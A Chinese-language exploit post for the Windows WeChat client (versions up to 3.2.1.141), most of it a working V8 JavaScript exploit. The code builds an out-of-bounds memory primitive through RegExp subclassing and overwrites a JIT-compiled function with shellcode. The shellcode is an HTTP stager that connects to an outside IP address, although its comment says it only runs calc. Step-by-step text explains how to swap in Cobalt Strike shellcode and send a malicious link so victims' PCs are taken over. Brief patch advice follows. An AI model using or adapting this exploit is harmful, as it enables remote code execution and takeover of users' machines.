微信利用exp

# 微信利用exp

“`
ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [ 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x57, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0xa4, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0xcb, 0x28, 0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0x50, 0xe9, 0x8c, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x32, 0xc0, 0x84, 0x52, 0x52, 0x52, 0x53, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x83, 0xc3, 0x50, 0x68, 0x80, 0x33, 0x00, 0x00, 0x89, 0xe0, 0x6a, 0x04, 0x50, 0x6a, 0x1f, 0x56, 0x68, 0x75, 0x46, 0x9e, 0x86, 0xff, 0xd5, 0x5f, 0x31, 0xff, 0x57, 0x57, 0x6a, 0xff, 0x53, 0x56, 0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x84, 0xca, 0x01, 0x00, 0x00, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x75, 0x07, 0x58, 0x50, 0xe9, 0x7b, 0xff, 0xff, 0xff, 0x31, 0xff, 0xe9, 0x91, 0x01, 0x00, 0x00, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0xe8, 0x6f, 0xff, 0xff, 0xff, 0x2f, 0x72, 0x61, 0x31, 0x58, 0x00, 0xe2, 0x26, 0x9e, 0x3e, 0x30, 0xe8, 0xbe, 0xf9, 0x07, 0x26, 0x0c, 0xb7, 0x29, 0xcf, 0x9f, 0x0c, 0x71, 0x33, 0x42, 0x56, 0x55, 0x84, 0x12, 0x2d, 0x72, 0x24, 0x7d, 0x1c, 0xc6, 0xfe, 0x08, 0x22, 0xb5, 0x2b, 0x9a, 0xcb, 0x7b, 0x3e, 0x85, 0x07, 0xb8, 0xfc, 0xa4, 0x88, 0xe9, 0xe9, 0xae, 0x3f, 0x73, 0xaf, 0xe0, 0xca, 0x08, 0x0b, 0x12, 0x3a, 0xe9, 0x74, 0x31, 0x19, 0x8a, 0x58, 0xa4, 0xc5, 0xfb, 0x90, 0x80, 0xd5, 0xe8, 0x04, 0xbb, 0x71, 0x2b, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x34, 0x2e, 0x30, 0x20, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x37, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x35, 0x2e, 0x31, 0x3b, 0x20, 0x2e, 0x4e, 0x45, 0x54, 0x20, 0x43, 0x4c, 0x52, 0x20, 0x32, 0x2e, 0x30, 0x2e, 0x35, 0x30, 0x37, 0x32, 0x37, 0x29, 0x0d, 0x0a, 0x00, 0x5c, 0x06, 0x71, 0x87, 0x72, 0x72, 0xb2, 0x05, 0x6b, 0x32, 0x1e, 0xcf, 0x09, 0x1a, 0x41, 0x36, 0xba, 0x6d, 0xe1, 0x1e, 0xe2, 0x4f, 0x33, 0xc8, 0x96, 0xc0, 0x8a, 0x6e, 0x3f, 0x34, 0x89, 0xbc, 0x44, 0x4c, 0x53, 0xf8, 0xb4, 0x8b, 0xe5, 0x88, 0x1b, 0x84, 0x78, 0x30, 0xe7, 0x1e, 0x1b, 0xde, 0xb8, 0x2b, 0x50, 0x77, 0x17, 0x3e, 0x15, 0xb4, 0x7a, 0x61, 0x1c, 0xde, 0xb9, 0x78, 0x67, 0x81, 0x91, 0x5f, 0x2a, 0x9b, 0x7a, 0x7a, 0xc4, 0xd4, 0x6d, 0xb4, 0x69, 0xdf, 0xa3, 0xb8, 0xf4, 0x18, 0x26, 0x50, 0x66, 0x88, 0xbd, 0xf7, 0x5c, 0xfc, 0xb6, 0xfd, 0xd2, 0x63, 0xe5, 0x16, 0x79, 0x1a, 0x10, 0x13, 0xfa, 0x15, 0xb8, 0x96, 0x58, 0x5b, 0x7e, 0x1e, 0xd2, 0xd9, 0x4b, 0xe9, 0xb6, 0x4a, 0x58, 0xa6, 0x93, 0x7f, 0xb6, 0x41, 0xc8, 0xd6, 0x2a, 0xb4, 0x0b, 0x15, 0xb9, 0xb7, 0xe6, 0xef, 0xd6, 0xca, 0xc7, 0xf0, 0x30, 0xbd, 0xef, 0xcf, 0x2d, 0x63, 0x61, 0x03, 0xf3, 0x49, 0x3b, 0x88, 0x72, 0x66, 0x23, 0x22, 0xb8, 0x91, 0x8d, 0xb8, 0xb2, 0x4f, 0x21, 0xaf, 0x93, 0x5c, 0x5a, 0x67, 0x12, 0xb5, 0xa7, 0x06, 0xa8, 0xde, 0xf7, 0xe5, 0x41, 0xca, 0x50, 0x47, 0xcc, 0x84, 0xb9, 0x6b, 0x05, 0x09, 0x83, 0x1a, 0xa7, 0xa1, 0x3a, 0x03, 0x75, 0x60, 0xf5, 0xf4, 0xba, 0x08, 0x02, 0x99, 0x8e, 0xfa, 0xc8, 0x72, 0xf5, 0xdc, 0x9b, 0x46, 0xda, 0x5a, 0xbf, 0x1e, 0x13, 0x11, 0xf8, 0xfa, 0x92, 0x28, 0x23, 0x70, 0xd0, 0x79, 0x96, 0x19, 0x8c, 0x38, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x01, 0xd9, 0x51, 0x53, 0x89, 0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xc6, 0x8b, 0x07, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0x89, 0xfd, 0xff, 0xff, 0x34, 0x35, 0x2e, 0x31, 0x39, 0x35, 0x2e, 0x31, 0x35, 0x33, 0x2e, 0x31, 0x39, 0x39, 0x00, 0x6f, 0xaa, 0x51, 0xc3 ];

function print(data) {
}

var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) { target_function(i); } var g_array; var tDerivedNCount = 17 * 87481 - 8; var tDerivedNDepth = 19 * 19; function cb(flag) { if (flag == true) { return; } g_array = new Array(0); g_array[0] = 0x1dbabe * 2; return 'c01db33f'; } function gc() { for (var i = 0; i < 0x10000; ++i) { new String(); } } function oobAccess() { var this_ = this; this.buffer = null; this.buffer_view = null; this.page_buffer = null; this.page_view = null; this.prevent_opt = []; var kSlotOffset = 0x1f; var kBackingStoreOffset = 0xf; class LeakArrayBuffer extends ArrayBuffer { constructor() { super(0x1000); this.slot = this; } } this.page_buffer = new LeakArrayBuffer(); this.page_view = new DataView(this.page_buffer); new RegExp({ toString: function () { return 'a' } }); cb(true); class DerivedBase extends RegExp { constructor() { // var array = null; super( // at this point, the 4-byte allocation for the JSRegExp `this` object // has just happened. { toString: cb }, 'g' // now the runtime JSRegExp constructor is called, corrupting the // JSArray. ); // this allocation will now directly follow the FixedArray allocation // made for `this.data`, which is where `array.elements` points to. this_.buffer = new ArrayBuffer(0x80); g_array[8] = this_.page_buffer; } } // try{ var derived_n = eval(`(function derived_n(i) { if (i == 0) { return DerivedBase; } class DerivedN extends derived_n(i-1) { constructor() { super(); return; ${"this.a=0;".repeat(tDerivedNCount)} } } return DerivedN; })`); gc(); new (derived_n(tDerivedNDepth))(); this.buffer_view = new DataView(this.buffer); this.leakPtr = function (obj) { this.page_buffer.slot = obj; return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); } this.setPtr = function (addr) { this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); } this.read32 = function (addr) { this.setPtr(addr); return this.page_view.getUint32(0, true, ...this.prevent_opt); } this.write32 = function (addr, value) { this.setPtr(addr); this.page_view.setUint32(0, value, true, ...this.prevent_opt); } this.write8 = function (addr, value) { this.setPtr(addr); this.page_view.setUint8(0, value, ...this.prevent_opt); } this.setBytes = function (addr, content) { for (var i = 0; i < content.length; i++) { this.write8(addr + i, content[i]); } } return this; } function trigger() { var oob = oobAccess(); var func_ptr = oob.leakPtr(target_function); print('[*] target_function at 0x' + func_ptr.toString(16)); var kCodeInsOffset = 0x1b; var code_addr = oob.read32(func_ptr + kCodeInsOffset); print('[*] code_addr at 0x' + code_addr.toString(16)); oob.setBytes(code_addr, shellcode); target_function(0); } try{ print("start running"); trigger(); }catch(e){ print(e); } ``` 0x01漏洞介绍 攻击者可以通过在网页js插入攻击代码，用户一旦点击链接，Windows版微信便会加载执行攻击者构造恶意代码，最终使攻击者控制用户PC。 攻击者可以利用此漏洞执行任意代码，控制用户PC，存在极大的危害。 0x02影响版本 Windows版微信: 小于等于3.2.1.141版本 0x03漏洞复现 1、搭建cs，设置一个http或https的监听器 2、生成payload，选择上一步的监听器，输出选择C#，我这里就不勾选x64了，点击生成，将生成的文件保存到桌面。 3、使用两个脚本，修改color.js中的shellcode为cs生成的shellcode 4、然后搭建一个http服务器可以使用python开启也可以直接使用apache，然后发送到微信上点击，cs上线成功 5、查看复现wx版本（最新版微信使用默认浏览器打开，无法利用） 6、修复建议： ①、将Windows版本微信更新到3.2.1.141以上的最新版本。 ②、建议不要乱点别人发送的链接。